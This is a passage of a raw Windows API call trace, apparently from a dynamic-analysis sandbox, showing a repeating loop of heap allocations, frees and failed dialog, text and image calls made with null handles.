(HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.703] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.703] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.703] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.703] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.703] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.703] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.703] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.703] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.703] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.703] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.703] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.703] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.703] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.703] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.703] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.703] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.703] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.703] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.703] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.703] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.703] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.703] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.703] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.703] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.703] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.703] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.703] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.703] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.703] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.703] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.704] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.704] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.704] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.704] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.704] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.704] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.704] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.704] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.704] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.704] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.704] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.704] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.704] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.704] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.704] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.704] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.704] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.704] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.704] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.704] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.704] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.704] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.704] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.704] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.704] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.704] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.704] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.704] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.704] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.704] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.704] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.704] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.704] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.704] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.704] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.704] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.704] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.704] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.704] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.704] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.705] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.705] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.705] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.705] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.705] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.705] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.705] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.705] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.705] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.705] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.705] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193575903, cy=27, fuLoad=0x0) returned 0x0 [0026.705] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.705] GetLastError () returned 0x715 [0026.705] SetLastError (dwErrCode=0x715) [0026.705] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.705] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.705] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.705] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.705] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.705] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.705] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.705] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.705] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.705] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.705] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.705] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.705] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.705] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.705] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.705] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.706] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.706] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.706] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.706] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.706] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.706] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.706] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.706] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.706] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.706] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.706] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.706] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.706] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.706] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.706] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.706] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.706] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.706] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.706] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.706] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.706] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.706] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.706] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.706] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.706] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.706] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.706] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.706] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.706] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.706] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.706] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.706] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.706] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.706] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.706] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.706] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.706] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.706] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.706] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.707] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.707] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.707] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.707] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.707] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.707] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.707] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.707] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.707] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.707] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.707] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.707] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.707] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.707] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.707] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.707] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.707] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.707] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.707] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.707] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.707] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.707] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.707] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.707] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.707] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.708] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.708] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.708] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.708] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.708] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.708] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.708] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.708] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.708] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.708] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.708] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.708] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.708] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.708] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.708] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.708] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.708] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.708] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.708] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.708] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.708] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.708] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.708] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.708] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.708] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.708] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193556958, cy=27, fuLoad=0x0) returned 0x0 [0026.708] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.708] GetLastError () returned 0x715 [0026.708] SetLastError (dwErrCode=0x715) [0026.708] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.709] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.709] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.709] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.709] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.709] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.709] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.709] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.709] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.709] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.709] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.709] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.709] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.709] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.709] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.709] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.709] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.709] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.709] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.709] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.709] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.709] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.709] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.709] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.709] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.709] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.709] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.709] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.709] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.709] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.709] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.709] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.709] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.709] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.709] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.709] 